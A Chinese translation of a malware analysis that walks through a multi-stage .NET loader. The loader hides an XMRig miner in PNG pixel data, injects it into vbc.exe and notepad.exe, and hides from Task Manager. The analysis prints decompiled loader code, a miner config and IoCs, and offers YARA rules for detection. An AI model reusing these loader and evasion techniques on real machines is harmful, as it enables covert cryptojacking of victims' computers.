压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

挖礦惡意軟件Xmrig一個(gè)復(fù)雜樣本的逆向分析全過(guò)程

前言

在幾周前,我發(fā)現(xiàn)了一個(gè)惡意軟件樣本,并且非常有興趣對(duì)其進(jìn)行進(jìn)一步分析。該惡意挖礦軟件采取了一種奇特的部署方式,會(huì)在主機(jī)上創(chuàng)建一個(gè)挖礦程序,并將其隱藏在一些合法進(jìn)程的背后。
在樣本運(yùn)行后,我們使用Process Hacker進(jìn)程查看工具查看,發(fā)現(xiàn)兩個(gè)奇怪的現(xiàn)象:

1、Visual Basic編譯器無(wú)故啟動(dòng);

2、一個(gè)奇怪的子進(jìn)程“Notepad.exe”消耗了大量的CPU。

在觀察到異常之后,我非常想知道這兩個(gè)奇怪進(jìn)程的背后發(fā)生了什么。

第一階段:編譯后并注入在可執(zhí)行文件中的DLL

本文進(jìn)行分析的樣本,來(lái)源地址為:

hxxp[:]//netload[.=trade/ghghdshch130.exe

這是一個(gè).NET應(yīng)用程序,我們從這個(gè)入口點(diǎn)來(lái)開(kāi)始分析:

static void StatusBarPanelCollection(string[] args) {
    ToolStripItemEventArgs.ExprVisitorBase().EntryPoint.Invoke(null, null);
}

應(yīng)用程序啟動(dòng)后,調(diào)用的第一個(gè)Assembly方法是ExprVisitorBase()。

public static Assembly ExprVisitorBase() {
  CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider();
  CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(new CompilerParameters
    {
      IncludeDebugInformation = true,
      GenerateExecutable = false,
      GenerateInMemory = true,
      IncludeDebugInformation = true,
      ReferencedAssemblies = 
        {
          string.Format(.POasdIsd("U3lzdGVtLkRyYXdpbmcuZGxs"), new object[0])
        },
        CompilerOptions = string.Format(.POasdIsd("L29wdGltaXplKyAvcGxhdGZvcm06WDg2IC9kZWJ1ZysgL3RhcmdldDp3aW5leGU="), new object[0])
    }, new string[]
    {
      ToolStripItemEventArgs.SizeSoapParameterAttribute.Replace(string.Format(.POasdIsd("I3Jlc25hbWUj"), new object[0]), 
      .POasdIsd("ekp5blhVaktUbFpw")).Replace(string.Format(.POasdIsd("I3Bhc3Mj"), new object[0]), .POasdIsd("VVVlb0NvaXBHdVZj"))
    });
  return compilerResults.CompiledAssembly;
}

這個(gè)程序?qū)⒁跃幊谭绞綄?duì)一些代碼進(jìn)行編譯。事實(shí)上,在.NET中可以通過(guò)可以通過(guò)CSharpCodeProvider類(lèi)訪問(wèn)C#編譯器。對(duì)CompileAssemblyFromSource的調(diào)用是程序集被編譯的地方。該方法包含了參數(shù)對(duì)象(CompilerParameters)和源代碼,其類(lèi)型是一個(gè)字符串。

首先,如果我們深入研究CompilerParameters對(duì)象,會(huì)從配置中發(fā)現(xiàn)新程序是一個(gè)DLL文件,并且在磁盤(pán)上不會(huì)有任何痕跡。該DLL文件需要有特殊的引用才能工作,其字符串被混淆,需要以“POasdIsd”來(lái)解碼。

internal class 
{
     public static string POasdIsd(string string_0)
    {
        byte[] bytes = Convert.FromBase64String(string_0);
        return Encoding.UTF8.GetString(bytes);
    }
}

我們非常容易理解,“POasdIsd”只是一個(gè)Base64解碼函數(shù),而我們編碼的字符串實(shí)際上就是“System.Drawing.dll”。所以也就意味著,這個(gè)引用是編譯源代碼所必須的。

如果我們繼續(xù)分析,它會(huì)設(shè)置一些編譯器參數(shù)。在解碼后,將會(huì)在x86平臺(tái)的調(diào)試模式下進(jìn)行編譯:

/optimize+ /platform:X86 /debug+ /target:winexe

所以現(xiàn)在,我們唯一需要的是源代碼,它存儲(chǔ)在變量SizeSoapParameterAttribute中。當(dāng)然,這個(gè)變量也被Base64編碼混淆,并且使用XOR密鑰(5)進(jìn)行加密。

public static string SizeSoapParameterAttribute = 
    ToolStripItemEventArgs.ASSEMBLY_FLAGS(
        .POasdIsd("cHZsa2IlVnx2c ... D4ID3gPeCUID3g="), 5
);

如果我們?cè)谡{(diào)試器上設(shè)置一些斷點(diǎn),就可以以步進(jìn)的方式,看到生成的C#源代碼。

在上述工作完成后,編譯過(guò)程就完成了。我們可以使用Process Monitor來(lái)查看進(jìn)程的詳細(xì)信息。

第二階段:隱藏在圖像背后、注入Payload的可執(zhí)行文件

在這個(gè)階段中,DLL被編譯并加載到內(nèi)存中。我們現(xiàn)在無(wú)需對(duì)其進(jìn)行提取和反編譯,因?yàn)槲覀円呀?jīng)有了它的代碼。如果我們對(duì)代碼進(jìn)行深入分析,文件中包含著許多冗長(zhǎng)混亂、難以理解的代碼,但其中主要的類(lèi)很容易找到。

當(dāng)我們重命名一些函數(shù)時(shí),理解這個(gè)庫(kù)的目標(biāo)就更為容易了。

private static string xorKey = "UUeoCoipGuVc";
private static byte[] Payload;

...

private static void Main()
{
  try
  {
    IntPtr hResInfo = Program.FindResource(new IntPtr(0), new IntPtr(138), new IntPtr(23));
    uint size = Program.SizeofResource(new IntPtr(0), hResInfo);
    IntPtr hResData = Program.LoadResource(new IntPtr(0), hResInfo);
    IntPtr source = Program.LockResource(hResData);
    Program.Payload = new byte[size];
    Marshal.Copy(source, Program.Payload, 0, Convert.ToInt32(num));
    Program.Payload = Program.XOR(Program.ConvertFromBmp(Program.Byte2Image(Program.Payload)));
    Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader));
    thread.Start();
  }
  catch
  {
  }
}

所以,當(dāng)其被加載到內(nèi)存中,它會(huì)請(qǐng)求主程序的HTML資源(IntPtr(23)是RT_HTML)。所以,如果我們?cè)贒Nspy上調(diào)試這個(gè)DLL,它將會(huì)崩潰,原因在于會(huì)定位到一個(gè)不存在的資源。所以,讓我們回到ghghdshch130.exe之中,并檢查其中的.rsrc。我們目前得到了一個(gè)名為138的文件,138是資源ID。

我們對(duì)該文件進(jìn)行分析,發(fā)現(xiàn)這是一個(gè)PNG文件,其大小為461*461像素,8位RGBA顏色,使用非隔行掃描。

接下來(lái),我們使用上述的代碼,將這個(gè)圖像轉(zhuǎn)換成一個(gè)字節(jié)數(shù)組,然后再轉(zhuǎn)換成一個(gè)圖像(位圖格式)。在這里,能夠使用ConvertFromBmp是這個(gè)DLL文件最重要的功能。我們的目標(biāo)是使用BlockCopy,將Payload的不同部分正確地重組到內(nèi)存中。因此,它每次會(huì)將4個(gè)字節(jié)大小的緩沖區(qū)中的內(nèi)容,逐像素地復(fù)制到正確的目標(biāo)偏移量之上。

我需要首先理清代碼,隨后才能夠清楚地理解這些步驟。

private static byte[] ConvertFromBmp(Bitmap imageFile) { 
 int width = imageFile.Width; 
 int correctSize = width * width * 4; 
 byte[] correctOffset = new byte[correctSize]; 
 int size = 0; 
 for (int x = 0; x < width; x++) { 
   for (int y = 0; y < width; y++) { 
     Buffer.BlockCopy(BitConverter.GetBytes(imageFile.GetPixel(x, y).ToArgb()), 0, correctOffset, size, 4); 
     size += 4; 
   } 
 }

 int finalSize = BitConverter.ToInt32(array, 0); 
 byte[] XorPayload = new byte[finalSize]; 
 Buffer.BlockCopy(correctOffset, 4, XorPayload, 0, XorPayload.Length); 

 return XorPayload; 
}

現(xiàn)在,我們的Payload幾乎已經(jīng)完成了,它只是使用特定的XOR密鑰來(lái)實(shí)現(xiàn)解密,在我們的樣本中,其值為“UUeoCoipGuVc”。

internal class Program
{
private static byte[] XOR(byte[] bytes)
{
  byte[] bytes2 = Encoding.Unicode.GetBytes(Program.XorString);
  for (int i = 0; i < bytes.Length; i++)
  {
  int num = i;
  bytes[num] ^= bytes2[i % 16];
  }
  return bytes;
}

當(dāng)Payload被最終創(chuàng)建時(shí),程序集對(duì)象會(huì)被加載到一個(gè)線程中。

Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader)); 
thread.Start();

第三階段:復(fù)制第一階段文件并注入資源

如果我們認(rèn)為現(xiàn)在已經(jīng)大功告成,那么顯然是錯(cuò)誤的。我們?cè)俅斡龅搅思託ず湍:幚怼?/p>

先暫時(shí)不用分析復(fù)雜的代碼,我們首先注意到資源文件夾中現(xiàn)在有三個(gè)文件。

其中的兩個(gè)文件是XOR加密后的有效載荷,另一個(gè)是經(jīng)過(guò)Base64編碼后的文本文件字符串。我們?cè)噲D查看經(jīng)過(guò)混淆的代碼,以理解文本文件的作用。實(shí)際上,它是一個(gè)Manifest資源流(Manifest Resource Stream),是在編譯時(shí)嵌入在程序集之中的內(nèi)容。我們編寫(xiě)了一段Python代碼,用于查看解碼后的內(nèi)容:

=> python3 manifest.py 
...
'RSRCNAME'
'RSRCPWD'
'Dotwall Evaluation'

最后一行非常有趣,因?yàn)樗沂玖嗽谶@一階段中實(shí)際上已經(jīng)包含了Dotwall,Dotwall是一個(gè).NET混淆器,目前還暫時(shí)沒(méi)有公開(kāi)發(fā)布。

那么,在這個(gè)階段它的目標(biāo)究竟是什么呢?

首先,它會(huì)復(fù)制主用戶目錄中的第一階段文件,并將新目錄保存到內(nèi)存中,以備將來(lái)使用。然后,刪除此文件的可選數(shù)據(jù)流名稱(chēng)Zone.Identifier,以便不讓系統(tǒng)察覺(jué)到這個(gè)惡意軟件是從外部網(wǎng)絡(luò)下載的。

隨后,它在Windows啟動(dòng)菜單中,創(chuàng)建一個(gè)名為“rTErod.url”的快捷方式文件,指向一個(gè)互聯(lián)網(wǎng)鏈接,這也就解釋了之前為什么要?jiǎng)h除Zone.Identifier。

[InternetShortcut]
URL=file:///C:/Users/user/bsdsjdpjcqdpcdq.exe

然后,它會(huì)搜索主機(jī)上是否存在Visual Basic編譯器,并向其中注入資源“rWyMgsOzOKRu”。為了簡(jiǎn)化程序解密這個(gè)文件的過(guò)程、不同類(lèi)之間的全部交互和數(shù)百行的代碼,我們可以用10行C#源代碼進(jìn)行歸納。

byte[] buffer = File.ReadAllBytes("xplACLWqdLvY"); // Xor Key 
byte[] bytes = Encoding.Unicode.GetBytes("rWyMgsOzOKRu"); // Encrypted Payload

for (int i = 0; i < buffer.Length; i++) {
    buffer[i] ^= bytes[i % 16];
}

using (var decrypted = new FileStream("decrypted_resource.exe", FileMode.Create, FileAccess.Write)) {
 decrypted.Write(bytes, 0, byteArray.Length);
}

其中的程序集名稱(chēng)為“adderalldll”,我們推斷與Adderall Protector有關(guān)。


經(jīng)過(guò)一些清理后,我們發(fā)現(xiàn)該工具通過(guò)使用一些反射(Reflection)來(lái)實(shí)現(xiàn)調(diào)用。新的Object類(lèi)(Adderall)的run()方法在條目中添加了一些其他參數(shù):
@”C:WindowsMicrosoft.NETFrameworkv2.0.50727vbc.exe”
“”
DecryptPayload(cryptedResource) // <= Our Final Unpacked Malware
true

Type Adderall_resource = exportedTypes[pos];
object Adderall = Activator.CreateInstance(Adderall_resource);
vbcPath = @"C:WindowsMicrosoft.NETFrameworkv2.0.50727vbc.exe";

Adderall_resource.InvokeMember("run", BindingFlags.InvokeMethod, null, Adderall, new object[] {
 vbcPath, 
 "",      
 DecryptPayload(cryptedResource), 
 true 
});

第四階段:進(jìn)程注入、部署惡意軟件

那么,我們接下來(lái)具體分析一下adderall.dll。在該文件中,使用了Dotwall混淆,但看起來(lái)似乎沒(méi)有嵌入的Payload資源,里面只是Manifest流文件。這就意味著,我們已經(jīng)非常接近最終的挖礦惡意軟件了!

接下來(lái),我們看看解碼后的Manifest里面究竟有些什么:

=> python3 manifest.py 
...
'kernel32'
'CreateProcessA'
'kernel32'
'GetThreadContext'
'kernel32'
'Wow64GetThreadContext'
'kernel32'
'SetThreadContext'
'kernel32'
'Wow64SetThreadContext'
'kernel32'
'ReadProcessMemory'
'kernel32'
'WriteProcessMemory'
'ntdll'
'NtUnmapViewOfSection'
'kernel32'
'VirtualAllocEx'
'kernel32'
'ResumeThread'
...
'Dotwall Evaluation'

最后,我們發(fā)現(xiàn),這一階段的目標(biāo)是執(zhí)行一些進(jìn)程注入,并且進(jìn)程vbc.exe將部署惡意軟件。

第五階段:生成特定配置文件、持久化

到了現(xiàn)在,我們分析的挖礦惡意程序終于被部署了,接下來(lái)就是對(duì)它進(jìn)行分析。在這里,我們的第一個(gè)發(fā)現(xiàn),就是該惡意程序是采用C/C++開(kāi)發(fā)的。

惡意軟件通過(guò)IsWow64Process來(lái)判斷它的運(yùn)行環(huán)境,是在32位還是64位的系統(tǒng)上運(yùn)行,從而決定它會(huì)在哪里進(jìn)行進(jìn)程注入:

如果是32位環(huán)境,將在wuapp.exe進(jìn)行注入;

如果是64位環(huán)境,將在notepad.exe進(jìn)行注入。

如下所示,這個(gè)樣本會(huì)在Winrar.exe后面注入notepad.exe,其中Winrar.exe是explorer.exe的一個(gè)子進(jìn)程。

根據(jù)命令行來(lái)看,似乎在這里有一個(gè)xmrig挖礦惡意軟件在運(yùn)行。如果我們直接查看幫助中顯示的內(nèi)容,它們是相同的。

  -a, --algo=ALGO          cryptonight (default) or cryptonight-lite
  -o, --url=URL            URL of mining server
  -O, --userpass=U:P       username:password pair for mining server
  -u, --user=USERNAME      username for mining server
  -p, --pass=PASSWORD      password for mining server
  -t, --threads=N          number of miner threads
...
  -c, --config=FILE        load a JSON-format configuration file
...

為了確認(rèn)它是否是這個(gè)特定的挖礦惡意軟件,我們需要轉(zhuǎn)存基地址0x400000傷的內(nèi)存:

我們發(fā)現(xiàn),其PE頭部被刪除,并且采用了UPX的方式進(jìn)行壓縮。

經(jīng)過(guò)迅速查找,我們確認(rèn)了它就是xmrig挖礦軟件。

惡意挖礦軟件的配置

該惡意軟件,會(huì)針對(duì)被感染主機(jī)生成特定的xmrig配置文件。首先,惡意軟件會(huì)配置好礦工池和用戶賬戶。

隨后,生成典型的xmrig配置文件,并將其保存到“cfg”和“cfgi”兩個(gè)文件中。

在我們的樣本中,輸出配置文件如下:

{{ "algo": "cryptonight", "background": false, "colors": true, "retries": 5, "retry-pause": 5, "syslog": false, "print-time": 60, "av": 0, "safe": false, "cpu-priority": null, "cpu-affinity": null, "threads": 1, "pools": [ { "url": "xmr.pool.minergate.com:45560", "user": "todipacrypto@protonmail.com", "pass": "x", "keepalive": false, "nicehash": false } ], "api": { "port": 0, "access-token": null, "worker-id": null }}

持久化

在這一過(guò)程中,還采取了措施保證惡意軟件的持久性,它創(chuàng)建了一個(gè)注冊(cè)表項(xiàng),并且會(huì)定期檢查此項(xiàng)是否仍然存在。

與注冊(cè)表相鏈接的可執(zhí)行文件與礦工配置文件位于同一個(gè)文件夾中,并且該可執(zhí)行文件是一個(gè)合法的vbc.exe進(jìn)程。

隱藏方法

惡意軟件會(huì)檢查任務(wù)管理器是否啟動(dòng)。

如果發(fā)現(xiàn)啟動(dòng),它將判斷挖礦程序是否正在執(zhí)行,如果正在執(zhí)行,就會(huì)關(guān)閉notepad.exe進(jìn)程。此后,只要taskmgr仍然保持啟動(dòng)狀態(tài),挖礦程序就不會(huì)再次啟動(dòng)。

總結(jié)

1、我們得到了一個(gè)編譯后并已經(jīng)注入了一個(gè)DLL的可執(zhí)行文件;

2、這個(gè)DLL文件會(huì)部署另一個(gè)可執(zhí)行文件,該可執(zhí)行文件隱藏在假PNG文件背后,同樣已經(jīng)注入了第一個(gè)Payload;

3、在這個(gè)程序中,名為Adderall的DLL被調(diào)用,從而允許在RunPE的幫助下將脫殼后的惡意軟件部署到Visual Basic編譯器中;

4、最后得到的惡意軟件將會(huì)進(jìn)行礦工相關(guān)的配置,并將xmrig注入到notepad.exe或wuapp.exe之中(取決于操作系統(tǒng)是32位還是64位)。

Yara規(guī)則

Xmrig挖礦惡意軟件:

rule XmrigMinerMalware {
    meta:
        description = "Xmrig Miner Malware"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $s1 = "\cfg" wide ascii
        $s2 = "\cfgi" wide ascii
        $s3 = "\notepad.exe" wide ascii
        $s4 = "\wuapp.exe" wide ascii
        $s5 = "--show-window" wide ascii
        $s6 = "taskmgr.exe" wide ascii
        $s7 = "Miner" wide ascii
    condition:
        $mz at 0 and all of ($s*) 
}

Adderall Protector:

rule Adderall {
    meta:
        description = "Adderall Protector"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $n1 = "#Blob" wide ascii
        $n2 = "#GUID" wide ascii
        $n3 = "#Strings" wide ascii

        $s1 = "adderalldll" wide ascii
    condition:
        $mz at 0 and (all of ($n*) and $s1)
}

Dotwall Obfuscator:

rule DotWall {
    meta:
        description = "Dotwall Obfuscator"
        author = "Fumik0_"
        date = "2018/05/13"
    strings:
        $mz = "MZ"

        $n1 = "#Blob" wide ascii
        $n2 = "#GUID" wide ascii
        $n3 = "#Strings" wide ascii

        $s1 = "RG90d2Fsb" wide ascii
    condition:
        $mz at 0 and (
            all of ($n*) and $s1
        )
}

IoC

todipacrypto@protomail.com _
517AC5506A5488A1193686F66CB57AD3288C2258C510004EDB2F361B674526CC
AA28AA381B935EB98A6B3DEC4C86E1570EF142B041DB4255445C52A81F57A02F
40F5D5BBC054BA193B3D46BA1AE113AC9C9FCAFDDEC52CF02F82C4A22BF9F15F
0C5FC323873FBE693C1FF860282F035AD447050F8EC37FF2E662D087A949DFC9
7C23DA75BA54998363C4E278488F05588FB4E7D8201CCDAA870DD93F0328B911
BECDCC441E29D518D2258F0718000EBD0848ADB4CEFA00223F386A91FDB11677

總結(jié)

這個(gè)挖礦惡意軟件非常復(fù)雜,并且綜合使用了各種技術(shù)。對(duì)該挖礦惡意軟件進(jìn)行分析的過(guò)程,是一段非常有挑戰(zhàn)性的美好(且頭痛)的時(shí)光,并且我們充分體會(huì)到了逐步突破后的喜悅之感。希望這一連續(xù)的分析過(guò)程能對(duì)大家有所幫助。

原文:https://fumik0.com/2018/05/21/some-fun-with-a-miner/

上一篇:漏洞導(dǎo)致任意定位手機(jī)

下一篇:Netflix、IBM、阿里等世界級(jí)FaaS、K8s、Istio核心架構(gòu)案例都在這里